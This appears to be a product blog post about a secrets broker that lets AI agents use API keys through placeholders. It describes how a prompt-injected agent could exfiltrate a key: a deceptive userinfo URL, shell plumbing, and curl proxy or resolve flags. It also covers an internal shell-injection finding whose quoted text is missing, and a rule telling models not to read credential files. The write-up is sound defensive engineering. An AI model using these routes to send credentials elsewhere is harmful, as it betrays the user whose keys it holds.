Keys the agent can use but never see.

The agent needs the key. The key leaks.

An agent that can build things for you needs credentials: a model provider key to test an integration, a deploy token, an email API key. The easy way to hand one over is to paste it into the chat, or leave it in a .env file the agent can read. From that moment the key is in the transcript, in the model's context, and in whatever the agent writes next.

GitGuardian's State of Secrets Sprawl 2026, published on 17 March 2026, puts numbers on where that goes. It found 28.65 million new hardcoded secrets in public GitHub commits in 2025, “a 34% increase year over year and the largest single-year jump we’ve recorded.” AI service secrets alone reached 1,275,105, “up 81% year over year”.

One line got the most attention: “Claude Code-assisted commits showed a 3.2% secret-leak rate, versus a 1.5% baseline across all public GitHub commits.” The report is careful not to blame the tool. “Developers remain in control of what gets accepted, edited, ignored, or pushed.” A GitGuardian developer advocate, writing in Help Net Security, put it as a pace problem: “Authentication models that rely on manual developer discipline fail at AI speeds.”

The laptop is part of the picture too. In the report's look at machines hit by the Shai-Hulud 2 supply-chain attack, The Hacker News summary notes that each live secret appeared in eight places on average, “spread across .env files, shell history, IDE configs, cached tokens, and build artifacts.” An agent with a terminal can read every one of those.

A placeholder, not a password.

Think of a hotel safe with a porter. You never hand the porter your PIN. You tell him which safe and what to fetch, he opens it out of sight, and hands you the result. The Secrets Broker, shipped in Luminair on 29 August 2026, worked the same way.

You stored a key once in the //secrets sheet: a name such as OPENAI_KEY, the value, and, recommended, the domains it may be sent to. The value went straight into the operating system's keychain, encrypted through Electron's safeStorage under broker:OPENAI_KEY. The app's settings file kept only the name and the domains. The sheet never shows a stored value again; the code comment puts it as “a key on screen exists exactly once, while you type it.”

When a model needed the key, it wrote a placeholder where the value belonged and passed the command to a small helper, owsecret run. Every engine lane was told about it in a short contract block: the names available, which domains each was limited to, and a rule to never read .env or credential files for a stored secret. Inside the app, the broker checked the command, swapped {{OPENAI_KEY}} for the real value, ran it, and replaced every copy of the value in the output with {{OPENAI_KEY}} again before the model read a byte.

// Scrub every stored secret value out of text before the model sees it.
for (const [name, s] of Object.entries(secrets || {})) {
  const v = s && s.value;
  // never build a replace-everything regex from a tiny value
  if (!v || v.length < 6) continue;
  t = t.split(v).join('{{' + name + '}}');
}

That redaction runs on the way back, not just the way in, so it also catches a key that turned up in output some other way: a verbose curl, an echoed environment. Every set, run, refusal and delete was appended to an audit log, with the first 160 characters of any command.

The scope rule is deliberately strict.

Hiding the value is only half of it. A prompt-injected agent does not need to see a key to misuse it; it only needs to send it somewhere else. So each key can carry a list of allowed domains, and the rule in the source is blunt: a scoped key is filled in only when the command contains at least one URL and every host in it is on that key's list. One foreign host and the whole command is refused.

Two hardening changes landed the same afternoon. Hosts are now read with a real URL parser, because https://allowed.example@evil.example is a valid address whose host is the evil one. And a scoped key refuses any command with shell plumbing or transport overrides that could change the destination after the check: pipes, semicolons, command substitution, and curl flags such as --resolve, --proxy and --config.

That last point matters. A key with no domain list is filled in for any command, which is what you want for something like a deploy script reading an environment variable. It is also a key with no fence around it.

Our own review found the gap.

Between 31 August and 1 September 2026 we ran a full end-to-end security assessment of Luminair against a strict tier of controls. Most of it is internal, but one finding is the reason this post has a twist. Finding F-17 reads, in full:

In plain words: the broker checked a string, then handed that string to a shell. A shell can do a great many things with a value besides send it in one HTTP header. We can reproduce it today with the same function and a fake key:

The fix could have been a longer list of forbidden characters. We did not trust that: a blocklist for a shell is a game you lose slowly. A few hours after the finding was written up, on the morning of 1 September 2026, command execution was switched off behind a single flag, with the reason written next to it:

// F-17 containment: the legacy broker gives an arbitrary zsh command a raw secret.
// Keep keychain inventory/removal available, but refuse command execution until a
// typed request broker owns transport construction and never releases the value.
const SECRET_BROKER_EXECUTION_ENABLED = false;

A run request now gets a refusal that says command execution is disabled pending the structured-request replacement, and the refusal is logged. The contract block that told every model about owsecret now returns nothing, so no agent is invited to try. The replacement the comment describes, where the app builds the HTTP request itself from typed fields and the value never reaches a shell, is not built yet. We are not going to describe it as if it were.

Redaction that stayed on.

Luminair keeps a work trail for every session (//trail): each prompt, the turns it caused, the tools they ran, the files they changed and the checks that proved it. That is useful, and it is also a place where a key could end up in clear, because tool inputs are exactly where commands with credentials live.

On 6 September 2026, as part of an audit of Harness v2, every line bound for the trail started passing through a scrubber with two layers. First, any value stored in the broker is replaced by its name. Second, anything shaped like a credential is replaced by [redacted], whether or not you ever stored it: bearer tokens, sk- style keys, GitHub tokens, Slack tokens, AWS access key IDs, Google API keys, JWTs, passwords in URLs, token= style pairs and credential flags such as curl -u.

If the broker's redactor ever throws, the trail writes “[content withheld: redaction failed]” instead of the raw line. The same audit made trail files, turn contracts and summaries owner-only on disk, tightened older files at launch, and gave the harness doctor a fix for anything left loose. The output of a goal's check command is scrubbed of stored keys the same way.

Shape matching is a net, not a wall. A key in an unusual format, or a value shorter than six characters, can slip through. That is why storing a key by name is still the better habit: a stored value is masked exactly, whatever it looks like.

What you can use today.

1. 1Type //secrets in any session. The sheet opens with a banner, Command execution is paused for security. You can add a key with a name and allowed domains, or remove one. Stored values are never shown again.
2. 2Type //doctor. The Secrets broker check does not just count your keys: it feeds a random probe value through substitute, redact and the trail scrubber, fails loudly if any step lets it through, and warns if the broker's folder is readable by other users on the Mac.
3. 3Type //trail to see what a session did. Anything that looked like a key is already masked.

Until the structured broker exists, the honest advice is the old advice: give an agent a key scoped as narrowly as the provider allows, and never paste one into the chat.

Checked, and not claimed.

Sources

• GitGuardian · 17 March 2026The State of Secrets Sprawl 2026: AI-Service Leaks Surge 81% and 29M Secrets Hit Public GitHub
• The Hacker News · 30 March 2026The State of Secrets Sprawl 2026: 9 Takeaways for CISOs
• Help Net Security · 14 April 202629 million leaked secrets in 2025: Why AI agents credentials are out of control